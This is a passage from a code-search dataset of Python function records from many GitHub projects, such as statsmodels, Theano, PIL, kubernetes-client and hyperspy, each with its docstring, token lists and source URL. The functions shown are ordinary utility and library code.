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statsmodels/statsmodels
|
debbe7ea6ba28fe5bdb78f09f8cac694bef98722
|
statsmodels/tsa/vector_ar/vecm.py
|
python
|
JohansenTestResult.trace_stat_crit_vals
|
(self)
|
return self._cvt
|
Critical values (90%, 95%, 99%) of trace statistic
|
Critical values (90%, 95%, 99%) of trace statistic
|
[
"Critical",
"values",
"(",
"90%",
"95%",
"99%",
")",
"of",
"trace",
"statistic"
] |
def trace_stat_crit_vals(self):
"""Critical values (90%, 95%, 99%) of trace statistic"""
return self._cvt
|
[
"def",
"trace_stat_crit_vals",
"(",
"self",
")",
":",
"return",
"self",
".",
"_cvt"
] |
https://github.com/statsmodels/statsmodels/blob/debbe7ea6ba28fe5bdb78f09f8cac694bef98722/statsmodels/tsa/vector_ar/vecm.py#L803-L805
|
|
mkusner/grammarVAE
|
ffffe272a8cf1772578dfc92254c55c224cddc02
|
Theano-master/theano/sandbox/linalg/ops.py
|
python
|
tag_solve_triangular
|
(node)
|
If a general solve() is applied to the output of a cholesky op, then
replace it with a triangular solve.
|
If a general solve() is applied to the output of a cholesky op, then
replace it with a triangular solve.
|
[
"If",
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"general",
"solve",
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"is",
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"a",
"cholesky",
"op",
"then",
"replace",
"it",
"with",
"a",
"triangular",
"solve",
"."
] |
def tag_solve_triangular(node):
"""
If a general solve() is applied to the output of a cholesky op, then
replace it with a triangular solve.
"""
if node.op == solve:
if node.op.A_structure == 'general':
A, b = node.inputs # result is solution Ax=b
if A.owner and isinstance(A.owner.op, type(cholesky)):
if A.owner.op.lower:
return [Solve('lower_triangular')(A, b)]
else:
return [Solve('upper_triangular')(A, b)]
if (A.owner and isinstance(A.owner.op, DimShuffle)
and A.owner.op.new_order == (1, 0)):
A_T, = A.owner.inputs
if A_T.owner and isinstance(A_T.owner.op, type(cholesky)):
if A_T.owner.op.lower:
return [Solve('upper_triangular')(A, b)]
else:
return [Solve('lower_triangular')(A, b)]
|
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] |
https://github.com/mkusner/grammarVAE/blob/ffffe272a8cf1772578dfc92254c55c224cddc02/Theano-master/theano/sandbox/linalg/ops.py#L299-L320
|
||
IronLanguages/main
|
a949455434b1fda8c783289e897e78a9a0caabb5
|
External.LCA_RESTRICTED/Languages/IronPython/27/Lib/difflib.py
|
python
|
HtmlDiff.__init__
|
(self,tabsize=8,wrapcolumn=None,linejunk=None,
charjunk=IS_CHARACTER_JUNK)
|
HtmlDiff instance initializer
Arguments:
tabsize -- tab stop spacing, defaults to 8.
wrapcolumn -- column number where lines are broken and wrapped,
defaults to None where lines are not wrapped.
linejunk,charjunk -- keyword arguments passed into ndiff() (used to by
HtmlDiff() to generate the side by side HTML differences). See
ndiff() documentation for argument default values and descriptions.
|
HtmlDiff instance initializer
|
[
"HtmlDiff",
"instance",
"initializer"
] |
def __init__(self,tabsize=8,wrapcolumn=None,linejunk=None,
charjunk=IS_CHARACTER_JUNK):
"""HtmlDiff instance initializer
Arguments:
tabsize -- tab stop spacing, defaults to 8.
wrapcolumn -- column number where lines are broken and wrapped,
defaults to None where lines are not wrapped.
linejunk,charjunk -- keyword arguments passed into ndiff() (used to by
HtmlDiff() to generate the side by side HTML differences). See
ndiff() documentation for argument default values and descriptions.
"""
self._tabsize = tabsize
self._wrapcolumn = wrapcolumn
self._linejunk = linejunk
self._charjunk = charjunk
|
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"=",
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] |
https://github.com/IronLanguages/main/blob/a949455434b1fda8c783289e897e78a9a0caabb5/External.LCA_RESTRICTED/Languages/IronPython/27/Lib/difflib.py#L1692-L1707
|
||
Marten4n6/EvilOSX
|
033a662030e99b3704a1505244ebc1e6e59fba57
|
bot/loaders/helper.py
|
python
|
LoaderABC.get_options
|
(self, set_options)
|
The returned dictionary must contain a "loader_name" key which contains the name of this loader.
:type
:rtype: dict
:return: A dictionary containing set configuration options.
|
The returned dictionary must contain a "loader_name" key which contains the name of this loader.
|
[
"The",
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"must",
"contain",
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"loader_name",
"key",
"which",
"contains",
"the",
"name",
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"loader",
"."
] |
def get_options(self, set_options):
"""The returned dictionary must contain a "loader_name" key which contains the name of this loader.
:type
:rtype: dict
:return: A dictionary containing set configuration options.
"""
pass
|
[
"def",
"get_options",
"(",
"self",
",",
"set_options",
")",
":",
"pass"
] |
https://github.com/Marten4n6/EvilOSX/blob/033a662030e99b3704a1505244ebc1e6e59fba57/bot/loaders/helper.py#L50-L57
|
||
microsoft/msticpy
|
2a401444ee529114004f496f4c0376ff25b5268a
|
msticpy/sectools/vtlookupv3/vtobject_browser.py
|
python
|
_extract_summary
|
(data: Optional[pd.DataFrame] = None)
|
return data[["sha256", "meaningful_name", "names", "magic"]].iloc[0].to_dict()
|
Return summary of item.
|
Return summary of item.
|
[
"Return",
"summary",
"of",
"item",
"."
] |
def _extract_summary(data: Optional[pd.DataFrame] = None) -> Dict[str, str]:
"""Return summary of item."""
def_dict = {"sha256": "", "meaningful_name": "", "names": "", "magic": ""}
if data is None:
return def_dict
if (
"first_submission_date" not in data.columns
or data.iloc[0]["first_submission_date"] == _NOT_FOUND
):
def_dict["sha256"] = _NOT_FOUND
return def_dict
return data[["sha256", "meaningful_name", "names", "magic"]].iloc[0].to_dict()
|
[
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https://github.com/microsoft/msticpy/blob/2a401444ee529114004f496f4c0376ff25b5268a/msticpy/sectools/vtlookupv3/vtobject_browser.py#L112-L123
|
|
jgagneastro/coffeegrindsize
|
22661ebd21831dba4cf32bfc6ba59fe3d49f879c
|
App/dist/coffeegrindsize.app/Contents/Resources/lib/python3.7/PIL/ImageChops.py
|
python
|
logical_and
|
(image1, image2)
|
return image1._new(image1.im.chop_and(image2.im))
|
Logical AND between two images. At least one of the images must have
mode "1".
.. code-block:: python
out = ((image1 and image2) % MAX)
:rtype: :py:class:`~PIL.Image.Image`
|
Logical AND between two images. At least one of the images must have
mode "1".
|
[
"Logical",
"AND",
"between",
"two",
"images",
".",
"At",
"least",
"one",
"of",
"the",
"images",
"must",
"have",
"mode",
"1",
"."
] |
def logical_and(image1, image2):
"""Logical AND between two images. At least one of the images must have
mode "1".
.. code-block:: python
out = ((image1 and image2) % MAX)
:rtype: :py:class:`~PIL.Image.Image`
"""
image1.load()
image2.load()
return image1._new(image1.im.chop_and(image2.im))
|
[
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"image1",
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":",
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"chop_and",
"(",
"image2",
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"im",
")",
")"
] |
https://github.com/jgagneastro/coffeegrindsize/blob/22661ebd21831dba4cf32bfc6ba59fe3d49f879c/App/dist/coffeegrindsize.app/Contents/Resources/lib/python3.7/PIL/ImageChops.py#L210-L223
|
|
tobspr/RenderPipeline
|
d8c38c0406a63298f4801782a8e44e9c1e467acf
|
toolkit/day_time_editor/main.py
|
python
|
DayTimeEditor._update_settings_list
|
(self)
|
Updates the list of visible settings
|
Updates the list of visible settings
|
[
"Updates",
"the",
"list",
"of",
"visible",
"settings"
] |
def _update_settings_list(self):
""" Updates the list of visible settings """
self.settings_tree.clear()
self._tree_widgets = []
first_item = None
for plugin_id, plugin in iteritems(self._plugin_mgr.instances):
daytime_settings = self._plugin_mgr.day_settings[plugin_id]
if not daytime_settings:
# Skip plugins with empty settings
continue
plugin_head = QTreeWidgetItem(self.settings_tree)
plugin_head.setText(0, plugin.name)
plugin_head.setFlags(Qt.ItemIsEnabled)
font = QFont()
font.setBold(True)
if not self._plugin_mgr.is_plugin_enabled(plugin_id):
plugin_head.setText(0, plugin.name)
plugin_head.setFont(0, font)
# Display all settings
for setting, setting_handle in iteritems(daytime_settings):
setting_item = QTreeWidgetItem(plugin_head)
setting_item.setText(0, setting_handle.label)
if PYQT_VERSION == 4:
setting_item.setTextColor(0, QColor(150, 150, 150))
else:
setting_item.setForeground(0, QColor(150, 150, 150))
setting_item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsSelectable)
setting_item._setting_id = setting
setting_item._setting_handle = setting_handle
setting_item._plugin_id = plugin_id
setting_item.setToolTip(0, setting_handle.description)
setting_item.setToolTip(1, setting_handle.description)
self._tree_widgets.append((setting_handle, setting_item))
if not first_item:
first_item = setting_item
self.settings_tree.expandAll()
if first_item:
self.settings_tree.setCurrentItem(first_item)
|
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https://github.com/tobspr/RenderPipeline/blob/d8c38c0406a63298f4801782a8e44e9c1e467acf/toolkit/day_time_editor/main.py#L241-L286
|
||
mdiazcl/fuzzbunch-debian
|
2b76c2249ade83a389ae3badb12a1bd09901fd2c
|
windows/Resources/Python/Core/Lib/distutils/dist.py
|
python
|
Distribution._get_toplevel_options
|
(self)
|
return self.global_options + [
('command-packages=', None, 'list of packages that provide distutils commands')]
|
Return the non-display options recognized at the top level.
This includes options that are recognized *only* at the top
level as well as options recognized for commands.
|
Return the non-display options recognized at the top level.
This includes options that are recognized *only* at the top
level as well as options recognized for commands.
|
[
"Return",
"the",
"non",
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"level",
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"at",
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"top",
"level",
"as",
"well",
"as",
"options",
"recognized",
"for",
"commands",
"."
] |
def _get_toplevel_options(self):
"""Return the non-display options recognized at the top level.
This includes options that are recognized *only* at the top
level as well as options recognized for commands.
"""
return self.global_options + [
('command-packages=', None, 'list of packages that provide distutils commands')]
|
[
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"[",
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",",
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",",
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")",
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] |
https://github.com/mdiazcl/fuzzbunch-debian/blob/2b76c2249ade83a389ae3badb12a1bd09901fd2c/windows/Resources/Python/Core/Lib/distutils/dist.py#L310-L317
|
|
kuri65536/python-for-android
|
26402a08fc46b09ef94e8d7a6bbc3a54ff9d0891
|
python-modules/twisted/twisted/words/xish/domish.py
|
python
|
Element.__str__
|
(self)
|
return ""
|
Retrieve the first CData (content) node
|
Retrieve the first CData (content) node
|
[
"Retrieve",
"the",
"first",
"CData",
"(",
"content",
")",
"node"
] |
def __str__(self):
""" Retrieve the first CData (content) node
"""
for n in self.children:
if isinstance(n, types.StringTypes): return n
return ""
|
[
"def",
"__str__",
"(",
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":",
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"(",
"n",
",",
"types",
".",
"StringTypes",
")",
":",
"return",
"n",
"return",
"\"\""
] |
https://github.com/kuri65536/python-for-android/blob/26402a08fc46b09ef94e8d7a6bbc3a54ff9d0891/python-modules/twisted/twisted/words/xish/domish.py#L434-L439
|
|
PacktPublishing/Advanced-Deep-Learning-with-Keras
|
099980731ba4f4e1a847506adf693247e41ef0cb
|
chapter13-mi-unsupervised/mine-13.8.1.py
|
python
|
SimpleMINE.__init__
|
(self,
args,
input_dim=1,
hidden_units=16,
output_dim=1)
|
Learn to compute MI using MINE (Algorithm 13.7.1)
Arguments:
args : User-defined arguments such as off-diagonal
elements of covariance matrix, batch size,
epochs, etc
input_dim (int): Input size dimension
hidden_units (int): Number of hidden units of the
MINE MLP network
output_dim (int): Output size dimension
|
Learn to compute MI using MINE (Algorithm 13.7.1)
|
[
"Learn",
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"MI",
"using",
"MINE",
"(",
"Algorithm",
"13",
".",
"7",
".",
"1",
")"
] |
def __init__(self,
args,
input_dim=1,
hidden_units=16,
output_dim=1):
"""Learn to compute MI using MINE (Algorithm 13.7.1)
Arguments:
args : User-defined arguments such as off-diagonal
elements of covariance matrix, batch size,
epochs, etc
input_dim (int): Input size dimension
hidden_units (int): Number of hidden units of the
MINE MLP network
output_dim (int): Output size dimension
"""
self.args = args
self._model = None
self.build_model(input_dim,
hidden_units,
output_dim)
|
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".",
"build_model",
"(",
"input_dim",
",",
"hidden_units",
",",
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https://github.com/PacktPublishing/Advanced-Deep-Learning-with-Keras/blob/099980731ba4f4e1a847506adf693247e41ef0cb/chapter13-mi-unsupervised/mine-13.8.1.py#L89-L109
|
||
w3h/isf
|
6faf0a3df185465ec17369c90ccc16e2a03a1870
|
lib/thirdparty/pyreadline/console/console.py
|
python
|
Console.get
|
(self)
|
Get next event from queue.
|
Get next event from queue.
|
[
"Get",
"next",
"event",
"from",
"queue",
"."
] |
def get(self):
'''Get next event from queue.'''
inputHookFunc = c_void_p.from_address(self.inputHookPtr).value
Cevent = INPUT_RECORD()
count = DWORD(0)
while 1:
if inputHookFunc:
call_function(inputHookFunc, ())
status = self.ReadConsoleInputW(self.hin,
byref(Cevent), 1, byref(count))
if status and count.value == 1:
e = event(self, Cevent)
return e
|
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https://github.com/w3h/isf/blob/6faf0a3df185465ec17369c90ccc16e2a03a1870/lib/thirdparty/pyreadline/console/console.py#L506-L519
|
||
GoSecure/pyrdp
|
abd8b8762b6d7fd0e49d4a927b529f892b412743
|
pyrdp/convert/utils.py
|
python
|
extractInetAddressesFromPDUPacket
|
(packet)
|
return (InetAddress(x.src, x.sport), InetAddress(x.dst, x.dport))
|
Returns the src and dst InetAddress (IP, port) from a PDU packet
|
Returns the src and dst InetAddress (IP, port) from a PDU packet
|
[
"Returns",
"the",
"src",
"and",
"dst",
"InetAddress",
"(",
"IP",
"port",
")",
"from",
"a",
"PDU",
"packet"
] |
def extractInetAddressesFromPDUPacket(packet) -> Tuple[InetAddress, InetAddress]:
"""Returns the src and dst InetAddress (IP, port) from a PDU packet"""
x = ExportedPDU(packet.load)
return (InetAddress(x.src, x.sport), InetAddress(x.dst, x.dport))
|
[
"def",
"extractInetAddressesFromPDUPacket",
"(",
"packet",
")",
"->",
"Tuple",
"[",
"InetAddress",
",",
"InetAddress",
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",",
"InetAddress",
"(",
"x",
".",
"dst",
",",
"x",
".",
"dport",
")",
")"
] |
https://github.com/GoSecure/pyrdp/blob/abd8b8762b6d7fd0e49d4a927b529f892b412743/pyrdp/convert/utils.py#L71-L74
|
|
aimi-cn/AILearners
|
5aec29a13fbb145a7a55e41ceedb5b42f5bbb1a0
|
src/py2.x/ml/jqxxsz/9.RegTrees/demo.py
|
python
|
loadDataSet
|
(fileName)
|
return dataMat
|
loadDataSet(解析每一行，并转化为float类型)
Desc：该函数读取一个以 tab 键为分隔符的文件，然后将每行的内容保存成一组浮点数
Args:
fileName 文件名
Returns:
dataMat 每一行的数据集array类型
Raises:
|
loadDataSet(解析每一行，并转化为float类型)
Desc：该函数读取一个以 tab 键为分隔符的文件，然后将每行的内容保存成一组浮点数
Args:
fileName 文件名
Returns:
dataMat 每一行的数据集array类型
Raises:
|
[
"loadDataSet",
"(",
"解析每一行，并转化为float类型",
")",
"Desc：该函数读取一个以",
"tab",
"键为分隔符的文件，然后将每行的内容保存成一组浮点数",
"Args",
":",
"fileName",
"文件名",
"Returns",
":",
"dataMat",
"每一行的数据集array类型",
"Raises",
":"
] |
def loadDataSet(fileName):
"""loadDataSet(解析每一行，并转化为float类型)
Desc：该函数读取一个以 tab 键为分隔符的文件，然后将每行的内容保存成一组浮点数
Args:
fileName 文件名
Returns:
dataMat 每一行的数据集array类型
Raises:
"""
# 假定最后一列是结果值
# assume last column is target value
dataMat = []
fr = open(fileName)
for line in fr.readlines():
curLine = line.strip().split('\t')
# 将所有的元素转化为float类型
# map all elements to float()
# map() 函数具体的含义，可见 https://my.oschina.net/zyzzy/blog/115096
fltLine = map(float, curLine)
dataMat.append(fltLine)
return dataMat
|
[
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"# assume last column is target value",
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https://github.com/aimi-cn/AILearners/blob/5aec29a13fbb145a7a55e41ceedb5b42f5bbb1a0/src/py2.x/ml/jqxxsz/9.RegTrees/demo.py#L22-L42
|
|
pypa/pipenv
|
b21baade71a86ab3ee1429f71fbc14d4f95fb75d
|
pipenv/patched/notpip/_internal/utils/misc.py
|
python
|
hide_value
|
(value)
|
return HiddenText(value, redacted="****")
|
[] |
def hide_value(value):
# type: (str) -> HiddenText
return HiddenText(value, redacted="****")
|
[
"def",
"hide_value",
"(",
"value",
")",
":",
"# type: (str) -> HiddenText",
"return",
"HiddenText",
"(",
"value",
",",
"redacted",
"=",
"\"****\"",
")"
] |
https://github.com/pypa/pipenv/blob/b21baade71a86ab3ee1429f71fbc14d4f95fb75d/pipenv/patched/notpip/_internal/utils/misc.py#L734-L736
|
|||
GiulioRossetti/ndlib
|
f5817eec0c8e7e86fb03aafe7be208fd4a0e0f6e
|
ndlib/models/dynamic/DynSIModel.py
|
python
|
DynSIModel.__init__
|
(self, graph, seed=None)
|
Model Constructor
:param graph: A dynetx graph object
|
Model Constructor
|
[
"Model",
"Constructor"
] |
def __init__(self, graph, seed=None):
"""
Model Constructor
:param graph: A dynetx graph object
"""
super(self.__class__, self).__init__(graph, seed)
self.available_statuses = {
"Susceptible": 0,
"Infected": 1
}
self.parameters = {
"model": {
"beta": {
"descr": "Infection rate",
"range": "[0,1]",
"optional": False}
},
"nodes": {},
"edges": {},
}
self.name = "SI"
|
[
"def",
"__init__",
"(",
"self",
",",
"graph",
",",
"seed",
"=",
"None",
")",
":",
"super",
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".",
"__class__",
",",
"self",
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"graph",
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":",
"{",
"}",
",",
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"self",
".",
"name",
"=",
"\"SI\""
] |
https://github.com/GiulioRossetti/ndlib/blob/f5817eec0c8e7e86fb03aafe7be208fd4a0e0f6e/ndlib/models/dynamic/DynSIModel.py#L18-L41
|
||
rwightman/pytorch-image-models
|
ccfeb06936549f19c453b7f1f27e8e632cfbe1c2
|
timm/models/rexnet.py
|
python
|
rexnet_100
|
(pretrained=False, **kwargs)
|
return _create_rexnet('rexnet_100', pretrained, **kwargs)
|
ReXNet V1 1.0x
|
ReXNet V1 1.0x
|
[
"ReXNet",
"V1",
"1",
".",
"0x"
] |
def rexnet_100(pretrained=False, **kwargs):
"""ReXNet V1 1.0x"""
return _create_rexnet('rexnet_100', pretrained, **kwargs)
|
[
"def",
"rexnet_100",
"(",
"pretrained",
"=",
"False",
",",
"*",
"*",
"kwargs",
")",
":",
"return",
"_create_rexnet",
"(",
"'rexnet_100'",
",",
"pretrained",
",",
"*",
"*",
"kwargs",
")"
] |
https://github.com/rwightman/pytorch-image-models/blob/ccfeb06936549f19c453b7f1f27e8e632cfbe1c2/timm/models/rexnet.py#L195-L197
|
|
kubernetes-client/python
|
47b9da9de2d02b2b7a34fbe05afb44afd130d73a
|
kubernetes/client/models/v1_volume.py
|
python
|
V1Volume.azure_disk
|
(self, azure_disk)
|
Sets the azure_disk of this V1Volume.
:param azure_disk: The azure_disk of this V1Volume. # noqa: E501
:type: V1AzureDiskVolumeSource
|
Sets the azure_disk of this V1Volume.
|
[
"Sets",
"the",
"azure_disk",
"of",
"this",
"V1Volume",
"."
] |
def azure_disk(self, azure_disk):
"""Sets the azure_disk of this V1Volume.
:param azure_disk: The azure_disk of this V1Volume. # noqa: E501
:type: V1AzureDiskVolumeSource
"""
self._azure_disk = azure_disk
|
[
"def",
"azure_disk",
"(",
"self",
",",
"azure_disk",
")",
":",
"self",
".",
"_azure_disk",
"=",
"azure_disk"
] |
https://github.com/kubernetes-client/python/blob/47b9da9de2d02b2b7a34fbe05afb44afd130d73a/kubernetes/client/models/v1_volume.py#L231-L239
|
||
oracle/graalpython
|
577e02da9755d916056184ec441c26e00b70145c
|
graalpython/lib-python/3/tkinter/__init__.py
|
python
|
Wm.wm_iconposition
|
(self, x=None, y=None)
|
return self._getints(self.tk.call(
'wm', 'iconposition', self._w, x, y))
|
Set the position of the icon of this widget to X and Y. Return
a tuple of the current values of X and X if None is given.
|
Set the position of the icon of this widget to X and Y. Return
a tuple of the current values of X and X if None is given.
|
[
"Set",
"the",
"position",
"of",
"the",
"icon",
"of",
"this",
"widget",
"to",
"X",
"and",
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"tuple",
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"the",
"current",
"values",
"of",
"X",
"and",
"X",
"if",
"None",
"is",
"given",
"."
] |
def wm_iconposition(self, x=None, y=None):
"""Set the position of the icon of this widget to X and Y. Return
a tuple of the current values of X and X if None is given."""
return self._getints(self.tk.call(
'wm', 'iconposition', self._w, x, y))
|
[
"def",
"wm_iconposition",
"(",
"self",
",",
"x",
"=",
"None",
",",
"y",
"=",
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"'wm'",
",",
"'iconposition'",
",",
"self",
".",
"_w",
",",
"x",
",",
"y",
")",
")"
] |
https://github.com/oracle/graalpython/blob/577e02da9755d916056184ec441c26e00b70145c/graalpython/lib-python/3/tkinter/__init__.py#L2122-L2126
|
|
evhub/coconut
|
27a4af9dc06667870f736f20c862930001b8cbb2
|
coconut/icoconut/root.py
|
python
|
memoized_parse_block
|
(code)
|
Memoized version of parse_block.
|
Memoized version of parse_block.
|
[
"Memoized",
"version",
"of",
"parse_block",
"."
] |
def memoized_parse_block(code):
"""Memoized version of parse_block."""
internal_assert(lambda: code not in parse_block_memo.values(), "attempted recompilation of", code)
success, result = parse_block_memo.get(code, (None, None))
if success is None:
try:
parsed = COMPILER.parse_block(code)
except Exception as err:
success, result = False, err
else:
success, result = True, parsed
parse_block_memo[code] = (success, result)
if success:
return result
else:
raise result
|
[
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https://github.com/evhub/coconut/blob/27a4af9dc06667870f736f20c862930001b8cbb2/coconut/icoconut/root.py#L94-L109
|
||
hyperspy/hyperspy
|
1ffb3fab33e607045a37f30c1463350b72617e10
|
hyperspy/misc/eds/utils.py
|
python
|
electron_range
|
(element, beam_energy, density='auto', tilt=0)
|
return (0.0276 * A / np.power(Z, 0.89) / density *
np.power(beam_energy, 1.67) * math.cos(math.radians(tilt)))
|
Returns the maximum electron range for a pure bulk material according to
the Kanaya-Okayama parameterziation.
Parameters
----------
element: str
The element symbol, e.g. 'Al'.
beam_energy: float
The energy of the beam in keV.
density: {float, 'auto'}
The density of the material in g/cm3. If 'auto', the density of
the pure element is used.
tilt: float.
The tilt of the sample in degrees.
Returns
-------
Electron range in micrometers.
Examples
--------
>>> # Electron range in pure Copper at 30 kV in micron
>>> hs.eds.electron_range('Cu', 30.)
2.8766744984001607
Notes
-----
From Kanaya, K. and S. Okayama (1972). J. Phys. D. Appl. Phys. 5, p43
See also the textbook of Goldstein et al., Plenum publisher,
third edition p 72.
|
Returns the maximum electron range for a pure bulk material according to
the Kanaya-Okayama parameterziation.
|
[
"Returns",
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"electron",
"range",
"for",
"a",
"pure",
"bulk",
"material",
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"to",
"the",
"Kanaya",
"-",
"Okayama",
"parameterziation",
"."
] |
def electron_range(element, beam_energy, density='auto', tilt=0):
"""Returns the maximum electron range for a pure bulk material according to
the Kanaya-Okayama parameterziation.
Parameters
----------
element: str
The element symbol, e.g. 'Al'.
beam_energy: float
The energy of the beam in keV.
density: {float, 'auto'}
The density of the material in g/cm3. If 'auto', the density of
the pure element is used.
tilt: float.
The tilt of the sample in degrees.
Returns
-------
Electron range in micrometers.
Examples
--------
>>> # Electron range in pure Copper at 30 kV in micron
>>> hs.eds.electron_range('Cu', 30.)
2.8766744984001607
Notes
-----
From Kanaya, K. and S. Okayama (1972). J. Phys. D. Appl. Phys. 5, p43
See also the textbook of Goldstein et al., Plenum publisher,
third edition p 72.
"""
if density == 'auto':
density = elements_db[
element]['Physical_properties']['density (g/cm^3)']
Z = elements_db[element]['General_properties']['Z']
A = elements_db[element]['General_properties']['atomic_weight']
# Note: magic numbers here are from Kanaya-Okayama parameterization. See
# docstring for associated references.
return (0.0276 * A / np.power(Z, 0.89) / density *
np.power(beam_energy, 1.67) * math.cos(math.radians(tilt)))
|
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".",
"cos",
"(",
"math",
".",
"radians",
"(",
"tilt",
")",
")",
")"
] |
https://github.com/hyperspy/hyperspy/blob/1ffb3fab33e607045a37f30c1463350b72617e10/hyperspy/misc/eds/utils.py#L210-L253
|
|
simonw/sqlite-utils
|
e0c476bc380744680c8b7675c24fb0e9f5ec6dcd
|
sqlite_utils/db.py
|
python
|
Database.execute
|
(
self, sql: str, parameters: Optional[Union[Iterable, dict]] = None
)
|
Execute SQL query and return a ``sqlite3.Cursor``.
|
Execute SQL query and return a ``sqlite3.Cursor``.
|
[
"Execute",
"SQL",
"query",
"and",
"return",
"a",
"sqlite3",
".",
"Cursor",
"."
] |
def execute(
self, sql: str, parameters: Optional[Union[Iterable, dict]] = None
) -> sqlite3.Cursor:
"Execute SQL query and return a ``sqlite3.Cursor``."
if self._tracer:
self._tracer(sql, parameters)
if parameters is not None:
return self.conn.execute(sql, parameters)
else:
return self.conn.execute(sql)
|
[
"def",
"execute",
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"self",
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"sql",
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"str",
",",
"parameters",
":",
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"[",
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https://github.com/simonw/sqlite-utils/blob/e0c476bc380744680c8b7675c24fb0e9f5ec6dcd/sqlite_utils/db.py#L417-L426
|
||
leo-editor/leo-editor
|
383d6776d135ef17d73d935a2f0ecb3ac0e99494
|
leo/plugins/obsolete/tkGui.py
|
python
|
tkinterGui.get_focus
|
(self,c)
|
Returns the widget that has focus, or body if None.
|
Returns the widget that has focus, or body if None.
|
[
"Returns",
"the",
"widget",
"that",
"has",
"focus",
"or",
"body",
"if",
"None",
"."
] |
def get_focus(self,c):
"""Returns the widget that has focus, or body if None."""
try:
return c.frame.top.focus_displayof()
except Exception:
if g.unitTesting:
g.es_exception()
return None
|
[
"def",
"get_focus",
"(",
"self",
",",
"c",
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":",
"try",
":",
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"top",
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"if",
"g",
".",
"unitTesting",
":",
"g",
".",
"es_exception",
"(",
")",
"return",
"None"
] |
https://github.com/leo-editor/leo-editor/blob/383d6776d135ef17d73d935a2f0ecb3ac0e99494/leo/plugins/obsolete/tkGui.py#L500-L509
|
||
seantis/seantis-questionnaire
|
698c77b3d707635f50bcd86e7f1c94e94061b0f5
|
questionnaire/templatetags/questionnaire.py
|
python
|
dictget
|
(thedict, key)
|
return thedict.get(key, None)
|
{{ dictionary|dictget:variableholdingkey }}
|
{{ dictionary|dictget:variableholdingkey }}
|
[
"{{",
"dictionary|dictget",
":",
"variableholdingkey",
"}}"
] |
def dictget(thedict, key):
"{{ dictionary|dictget:variableholdingkey }}"
return thedict.get(key, None)
|
[
"def",
"dictget",
"(",
"thedict",
",",
"key",
")",
":",
"return",
"thedict",
".",
"get",
"(",
"key",
",",
"None",
")"
] |
https://github.com/seantis/seantis-questionnaire/blob/698c77b3d707635f50bcd86e7f1c94e94061b0f5/questionnaire/templatetags/questionnaire.py#L9-L11
|
|
scikit-hep/root_numpy
|
b062fefe5ee8164aea6c90d7d4435890a87dc112
|
docs/sphinxext/numpydoc/compiler_unparse.py
|
python
|
UnparseCompilerAst._From
|
(self, t)
|
Handle "from xyz import foo, bar as baz".
|
Handle "from xyz import foo, bar as baz".
|
[
"Handle",
"from",
"xyz",
"import",
"foo",
"bar",
"as",
"baz",
"."
] |
def _From(self, t):
""" Handle "from xyz import foo, bar as baz".
"""
# fixme: Are From and ImportFrom handled differently?
self._fill("from ")
self._write(t.modname)
self._write(" import ")
for i, (name,asname) in enumerate(t.names):
if i != 0:
self._write(", ")
self._write(name)
if asname is not None:
self._write(" as "+asname)
|
[
"def",
"_From",
"(",
"self",
",",
"t",
")",
":",
"# fixme: Are From and ImportFrom handled differently?",
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".",
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"\"from \"",
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] |
https://github.com/scikit-hep/root_numpy/blob/b062fefe5ee8164aea6c90d7d4435890a87dc112/docs/sphinxext/numpydoc/compiler_unparse.py#L244-L256
|
||
codelv/enaml-native
|
04c3a015bcd649f374c5ecd98fcddba5e4fbdbdc
|
src/enamlnative/core/eventloop/gen.py
|
python
|
multi_future
|
(children, quiet_exceptions=())
|
return future
|
Wait for multiple asynchronous futures in parallel.
This function is similar to `multi`, but does not support
`YieldPoints <YieldPoint>`.
.. versionadded:: 4.0
.. versionchanged:: 4.2
If multiple ``Futures`` fail, any exceptions after the first (which is
raised) will be logged. Added the ``quiet_exceptions``
argument to suppress this logging for selected exception types.
.. deprecated:: 4.3
Use `multi` instead.
|
Wait for multiple asynchronous futures in parallel.
|
[
"Wait",
"for",
"multiple",
"asynchronous",
"futures",
"in",
"parallel",
"."
] |
def multi_future(children, quiet_exceptions=()):
"""Wait for multiple asynchronous futures in parallel.
This function is similar to `multi`, but does not support
`YieldPoints <YieldPoint>`.
.. versionadded:: 4.0
.. versionchanged:: 4.2
If multiple ``Futures`` fail, any exceptions after the first (which is
raised) will be logged. Added the ``quiet_exceptions``
argument to suppress this logging for selected exception types.
.. deprecated:: 4.3
Use `multi` instead.
"""
if isinstance(children, dict):
keys = list(children.keys())
children = children.values()
else:
keys = None
children = list(map(convert_yielded, children))
assert all(is_future(i) for i in children)
unfinished_children = set(children)
future = Future()
if not children:
future.set_result({} if keys is not None else [])
def callback(f):
unfinished_children.remove(f)
if not unfinished_children:
result_list = []
for f in children:
try:
result_list.append(f.result())
except Exception as e:
if future.done():
if not isinstance(e, quiet_exceptions):
app_log.error("Multiple exceptions in yield list",
exc_info=True)
else:
future.set_exc_info(sys.exc_info())
if not future.done():
if keys is not None:
future.set_result(dict(zip(keys, result_list)))
else:
future.set_result(result_list)
listening = set()
for f in children:
if f not in listening:
listening.add(f)
f.add_done_callback(callback)
return future
|
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",",
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")",
"f",
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"(",
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")",
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] |
https://github.com/codelv/enaml-native/blob/04c3a015bcd649f374c5ecd98fcddba5e4fbdbdc/src/enamlnative/core/eventloop/gen.py#L818-L872
|
|
deanishe/alfred-stackexchange
|
b2047b76165900d55f0c7d18fd7c40131bee94ed
|
src/workflow/workflow.py
|
python
|
Workflow.logfile
|
(self)
|
return self.cachefile('%s.log' % self.bundleid)
|
Path to logfile.
:returns: path to logfile within workflow's cache directory
:rtype: ``unicode``
|
Path to logfile.
|
[
"Path",
"to",
"logfile",
"."
] |
def logfile(self):
"""Path to logfile.
:returns: path to logfile within workflow's cache directory
:rtype: ``unicode``
"""
return self.cachefile('%s.log' % self.bundleid)
|
[
"def",
"logfile",
"(",
"self",
")",
":",
"return",
"self",
".",
"cachefile",
"(",
"'%s.log'",
"%",
"self",
".",
"bundleid",
")"
] |
https://github.com/deanishe/alfred-stackexchange/blob/b2047b76165900d55f0c7d18fd7c40131bee94ed/src/workflow/workflow.py#L1372-L1379
|
|
tendenci/tendenci
|
0f2c348cc0e7d41bc56f50b00ce05544b083bf1d
|
tendenci/apps/events/models.py
|
python
|
Registration.make_acct_entries
|
(self, user, inv, amount, **kwargs)
|
Make the accounting entries for the event sale
|
Make the accounting entries for the event sale
|
[
"Make",
"the",
"accounting",
"entries",
"for",
"the",
"event",
"sale"
] |
def make_acct_entries(self, user, inv, amount, **kwargs):
"""
Make the accounting entries for the event sale
"""
from tendenci.apps.accountings.models import Acct, AcctEntry, AcctTran
from tendenci.apps.accountings.utils import make_acct_entries_initial, make_acct_entries_closing
